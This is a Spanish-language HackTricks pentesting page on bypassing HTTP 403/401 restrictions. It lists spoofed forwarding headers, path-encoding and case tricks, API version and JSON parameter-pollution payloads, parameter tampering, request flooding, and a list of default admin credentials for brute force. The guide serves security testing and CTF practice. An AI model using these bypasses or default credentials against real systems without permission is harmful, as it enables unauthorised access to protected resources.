hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.4 KiB
Raw Blame History

Bypasses de 403 y 401

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo adicional para profundizar, obtener shells y divertirse.

{% embed url="https://pentest-tools.com/" %}

Fuzzing de Verbos/Métodos HTTP

Intenta usar diferentes verbos para acceder al archivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una respuesta 200 a HEAD con Content-Length: 55 significa que el verbo HEAD puede acceder a la información. Aún así, necesitas encontrar una forma de extraer esa información.
  • Usar un encabezado HTTP como X-HTTP-Method-Override: PUT puede sobrescribir el verbo utilizado.
  • Utiliza el verbo TRACE y, si tienes mucha suerte, tal vez en la respuesta también puedas ver los encabezados añadidos por proxies intermedios que podrían ser útiles.

Fuzzing de Encabezados HTTP

  • Cambia el encabezado Host a algún valor arbitrario (que funcionó aquí)

  • Intenta usar otros User Agents para acceder al recurso.

  • Fuzz de Encabezados HTTP: Intenta usar Encabezados de Proxy HTTP, autenticación HTTP básica y fuerza bruta NTLM (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto, he creado la herramienta fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Si la ruta está protegida, puedes intentar evadir la protección de la ruta usando estos otros encabezados:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Si la página está detrás de un proxy, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de HTTP Request Smuggling o encabezados hop-by-hop.
  • Fuzz de encabezados HTTP especiales buscando respuestas diferentes.
  • Fuzz de encabezados HTTP especiales mientras haces fuzzing de Métodos HTTP.
  • Elimina el encabezado Host y tal vez puedas evadir la protección.

Fuzzing de Rutas

Si /ruta está bloqueada:

  • Intenta usar /%2e/ruta _(si el acceso está bloqueado por un proxy, esto podría evadir la protección). Intenta también_** /%252e**/ruta (codificación URL doble)
  • Intenta evadir Unicode: /%ef%bc%8fruta (Los caracteres codificados en URL son como "/") por lo que al decodificarlos de nuevo será //ruta y tal vez ya habrás evadido la verificación de nombre /ruta
  • Otros evasiones de ruta:
  • sitio.com/secreto > HTTP 403 Prohibido
  • sitio.com/SECRETO > HTTP 200 OK
  • sitio.com/secreto/ > HTTP 200 OK
  • sitio.com/secreto/. > HTTP 200 OK
  • sitio.com//secreto// > HTTP 200 OK
  • sitio.com/./secreto/.. > HTTP 200 OK
  • sitio.com/;/secreto > HTTP 200 OK
  • sitio.com/.;/secreto > HTTP 200 OK
  • sitio.com//;//secreto > HTTP 200 OK
  • sitio.com/secreto.json > HTTP 200 OK (ruby)
  • Utiliza toda esta lista en las siguientes situaciones:
  • /FUZZsecreto
  • /FUZZ/secreto
  • /secretoFUZZ
  • Otras evasiones de API:
  • /v3/datos_usuarios/1234 --> 403 Prohibido
  • /v1/datos_usuarios/1234 --> 200 OK
  • {“id”:111} --> 401 No autorizado
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 No autorizado
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<id_legítimo>","user_id":"<id_víctima>"} (Contaminación de Parámetros JSON)
  • user_id=ID_ATACANTE&user_id=ID_VÍCTIMA (Contaminación de Parámetros)

Manipulación de parámetros

  • Cambiar el valor del parámetro: De id=123 --> id=124
  • Agregar parámetros adicionales a la URL: ?id=124 —-> id=124&isAdmin=true
  • Eliminar los parámetros
  • Reordenar los parámetros
  • Usar caracteres especiales.
  • Realizar pruebas de límites en los parámetros: proporcionar valores como -234 o 0 o 99999999 (solo algunos ejemplos de valores).

Versión del protocolo

Si se está utilizando HTTP/1.1 intentar usar 1.0 o incluso probar si admite 2.0.

Otros métodos de evasión

  • Obtener la IP o CNAME del dominio e intentar contactarlo directamente.
  • Intentar saturar el servidor enviando solicitudes GET comunes (Funcionó para este individuo con Facebook).
  • Cambiar el protocolo: de http a https, o de https a http
  • Ir a https://archive.org/web/ y verificar si en el pasado ese archivo era accesible a nivel mundial.

Fuerza bruta

  • Adivinar la contraseña: Probar las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF?
  • Fuerza bruta: Probar autenticación básica, digest y NTLM.

{% code title="Credenciales comunes" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Herramientas Automáticas

Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.

{% embed url="https://pentest-tools.com/" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: